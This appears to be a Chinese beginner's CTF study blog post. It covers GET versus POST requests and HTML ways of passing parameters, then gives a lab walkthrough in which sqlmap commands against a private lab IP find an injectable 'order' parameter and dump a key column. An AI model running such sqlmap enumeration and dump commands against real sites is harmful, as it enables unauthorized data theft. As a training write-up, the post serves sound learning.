当前位置: 首页 > news >正文

网络安全Web学习记录———CTF---Web---SQL注入(GET和POST传参)例题

小白初见,若有问题,希望各位大哥多多指正~

我的第一道web类CTF题——一起来撸猫o(=•ェ•=)m-CSDN博客

最开始学习CTF里的web方向时,每次做了题遇到类似的老是忘记之前的解法,所以写点东西记录一下。听大哥的话,就从最开始的GET传参开始吧!!!(大部分都是只得其法,不得其理。希望以后学了更多后能补充上原理)

一、了解GET和POST出处

寻求度娘知,GET和POST 是 HTTP 协议中两种请求方式,而HTTP协议是一个简单的请求-响应协议(具体详见HTTP_百度百科)

GET和POST 是 HTTP 请求中常用的两种请求方法,它们的底层都是基于 TCP/IP 实现的。但是由于 HTTP 的规定以及浏览器/服务器的限制,导致它们在应用过程中可能会有所不同。

二、了解GET和POST区别

GET和POST是HTTP协议中最常用的两种请求方法,它们在许多方面存在差异。

  1. 使用目的:GET主要用于请求数据,而POST主要用于发送数据。
  2. 参数传递:GET请求的参数会显示在URL地址栏中,这使得参数容易被记录和查看,因此安全性较低。相比之下,POST请求将参数放在请求体中,不会在地址栏中显示,因此安全性更高。
  3. 缓存和历史记录:GET请求可以被浏览器缓存,也会被保存在浏览器的历史记录中。而POST请求则不会被缓存,也不会被保存在浏览器的历史记录中。
  4. 对参数的数据类型:GET只接受ASCII字符作为参数,而POST没有这个限制。
  5. 安全性:由于GET请求的参数直接暴露在URL上,因此它不适合传递敏感信息,例如密码或信用卡信息。相比之下,POST请求更为安全,因为它的参数不会在URL中显示。

总的来说,GET和POST请求在许多方面存在差异,需要根据具体的使用场景来选择合适的请求方法。

参考:

GET和POST的区别以及传参详细解说_post传参-CSDN博客文章浏览阅读1.7w次,点赞10次,收藏72次。文章目录前言一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别二、传参1.get传参2.post传参传入参数json传入参数data传入参数params总结前言该文章为自己学习及经验总结,里面可能会有不准确的地方,后续会不断的修正文章内容主要针对软件测试人员需要掌握的范围一、get和post的区别1、w3school 标准答案2、GET、POST 请求报文上的区别GET 和 ._post传参https://blog.csdn.net/m0_47801456/article/details/123684379

三、GET的几种传参方式

 

​  <!--//参数传递的几种形式-->
< html xmlns = "http://www.w3.org/1999/xhtml" >< head >< meta http-equiv = "Content-Type" content = "text/html; charset=utf-8" />< title ></ title >< script type = "text/javascript" >function Go() {window.location.href="localhost:21811/Handler1.ashx?id=1&name='abc'"}</ script ></ head >< body >​
1、直接在URL后面加参数:
 <!--第一种:直接在URL后面加参数:-->localhost:21811/Handler1.ashx?id=1&name="abc"
2、用超链接的方法传递参数:

当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去

 <!--第二种:用超链接的方法传递参数:当点击超链接的时候,首先会跳转到localhost:21811/Handler1.ashx页面,然后还会传递id 和name 两个参数过去-->< a href = "localhost:21811/Handler1.ashx?id=1&name='abc'" >超链接传递参数</ a ></ body >
  3、通过js方法传递:

用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去

  <!--第三种:通过js方法传递:用户点击这个button按钮,触发onClick事件,执行Go()方法,跳转到localhost:21811/Handler1.ashx页面,同时传递了id,和name两个参数过去-->< input type = "button" onclick = "Go()" value = "通过js方法传递参数" />
 4、通过form表单传递:

   < form action = "Handler1.ashx" method = "get" > 注意action里面的连接不能带参数的

   <!--第四种:通过form表单传递-->< form action = "Handler1.ashx" method = "get" > <!--注意action里面的连接不能带参数的--> >< input type = "text" name = "id" value = "3" />< input type = "text" name = "name" value = "abc" />< input type = "submit" value = "通过传递参数" /></ form ></ body ></ html >

CTF——Web例题:

一、题目描述

题目:小试牛刀

二、解题步骤

1、注入点的确定

Step1:利用http://172.16.15.193/stage/9/get_info.php?title=xiaoshiniudao&order=id

这个网址跑sqlmap,提示title不是注入点。

Step2:此题为get传参,参数可以删减猜测注入点为order

 sqlmap -u http://172.16.15.193/stage/9/get_info.php?order=id --dbs

2、爆字段

Step3:数据库为inject_xiaoshiniudao2,爆表,列过程已省略。

查字段:

sqlmap -u http://172.16.15.192/stage/5/get_info.php?order=id -D inject_xiaoshiniudao2 -T key_1 -C thekey --dump

得到key:BFDE779BF1883CA5

相关文章:

  • 各技术栈需要掌握的知识
  • 01.Git分布式版本控制工具
  • CleanMyMac X2024(Mac优化清理工具)v4.14.5中文版
  • 人工智能与大数据的紧密联系
  • 计算机网络考研辨析(后续整理入笔记)
  • 时序预测 | Python实现XGBoost电力需求预测
  • Flask学习三:模型操作
  • 《Kotlin核心编程》笔记:反射、注解和加锁
  • 十几个软件测试实战项目【外卖/医药/银行/电商/金融】
  • Android gradle配置jar包加载顺序及延伸知识
  • 使用 std::vector 和 std::pair 管理二维点对
  • oracle 10046事件跟踪
  • BFC — 张天禹
  • connect: Network is unreachable问题解决
  • 一些程序源码及教程的网站合集~
  • CentOS 7 防火墙操作
  • CSS实用技巧干货
  • GraphQL学习过程应该是这样的
  • iOS 颜色设置看我就够了
  • LeetCode29.两数相除 JavaScript
  • RxJS 实现摩斯密码(Morse) 【内附脑图】
  • 复习Javascript专题(四):js中的深浅拷贝
  • 回顾2016
  • 解决iview多表头动态更改列元素发生的错误
  • 试着探索高并发下的系统架构面貌
  • 为视图添加丝滑的水波纹
  • 微龛半导体获数千万Pre-A轮融资,投资方为国中创投 ...
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • $.ajax,axios,fetch三种ajax请求的区别
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (定时器/计数器)中断系统(详解与使用)
  • (二)正点原子I.MX6ULL u-boot移植
  • (非本人原创)史记·柴静列传(r4笔记第65天)
  • (附源码)计算机毕业设计SSM智能化管理的仓库管理
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理 第13章 项目资源管理(七)
  • (免费领源码)python#django#mysql校园校园宿舍管理系统84831-计算机毕业设计项目选题推荐
  • (十) 初识 Docker file
  • (四) 虚拟摄像头vivi体验
  • (一)使用IDEA创建Maven项目和Maven使用入门(配图详解)
  • (转)c++ std::pair 与 std::make
  • (转载)Linux网络编程入门
  • .aanva
  • .NET LINQ 通常分 Syntax Query 和Syntax Method
  • .net oracle 连接超时_Mysql连接数据库异常汇总【必收藏】
  • .net/c# memcached 获取所有缓存键(keys)
  • .NET连接数据库方式
  • .Net中间语言BeforeFieldInit
  • /etc/skel 目录作用
  • /usr/bin/python: can't decompress data; zlib not available 的异常处理
  • @Bean, @Component, @Configuration简析
  • [20140403]查询是否产生日志
  • [Android]使用Android打包Unity工程
  • [ANT] 项目中应用ANT
  • [BZOJ 4129]Haruna’s Breakfast(树上带修改莫队)
  • [CISCN2019 华东南赛区]Web4